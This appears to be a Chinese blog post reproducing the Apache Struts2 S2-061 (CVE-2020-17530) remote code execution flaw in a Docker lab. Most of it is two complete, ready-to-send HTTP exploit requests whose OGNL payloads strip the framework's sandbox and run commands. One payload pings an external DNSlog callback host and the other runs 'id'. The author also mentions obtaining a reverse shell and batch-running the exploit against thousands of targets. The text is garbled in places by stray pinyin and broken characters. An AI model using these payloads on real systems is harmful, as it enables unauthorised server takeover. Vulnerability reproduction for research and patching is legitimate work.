2020-12-11(CVE-2020-17530)Struts2 S2-061 遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn)

?

最近一直關(guān)注Struts2 S2-061漏洞,最近忙今天才有空來復(fù)現(xiàn)一下這個(gè)漏洞。

Struts2 S2-061 遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn)

一、漏洞簡(jiǎn)介

Apache Struts2框架是一個(gè)用于開發(fā)Java EE網(wǎng)絡(luò)應(yīng)用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2020-17530),在使用某些tag等情況下可能存在OGNL表達(dá)式注入漏洞,從而造成遠(yuǎn)程代碼執(zhí)行,風(fēng)險(xiǎn)極大。

二、影響版本

 Apache Struts 2.0.0 - 2.5.25

三、漏洞復(fù)現(xiàn)

docker環(huán)境地址:

項(xiàng)目地址:

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

拉去鏡像啟動(dòng)環(huán)境:

docker-compose up -d

訪問目標(biāo)地址:

http://192.168.1.107:8080/

執(zhí)行DNSlog驗(yàn)證漏洞:

POST/index.actionHTTP/1.1?Host: 192.168.1.107:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 846??------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"??%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping p0fai2.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

DNGlog記錄

訪問抓包執(zhí)行exp 命令執(zhí)行id

POST/index.actionHTTP/1.1Host: 192.168.1.107:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 827?------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"?%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

簡(jiǎn)單的python腳本驗(yàn)證執(zhí)行:

也可成功執(zhí)行反彈shell獲?。?/p>

批量跑了幾千條成功的少:(可能默認(rèn)的index還有路徑不對(duì))后面再研究一下。

四、安全建議

將Apache Struts框架升級(jí)至最新版本。

相關(guān)鏈接

https://cwiki.apache.org/confluence/display/WW/S2-061

參考:

https://www.safedog.cn/news.html?id=4667

https://www.cnblogs.com/potatsoSec/p/14111163.html

免責(zé)聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,風(fēng)險(xiǎn)自負(fù)!

轉(zhuǎn)載聲明:著作權(quán)歸作者所有。商業(yè)轉(zhuǎn)載請(qǐng)聯(lián)系作者獲得授權(quán),非商業(yè)轉(zhuǎn)載請(qǐng)注明出處。

訂閱查看更多復(fù)現(xiàn)文章、學(xué)習(xí)筆記

thelostworld

安全路上,與你并肩前行!?。?!

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容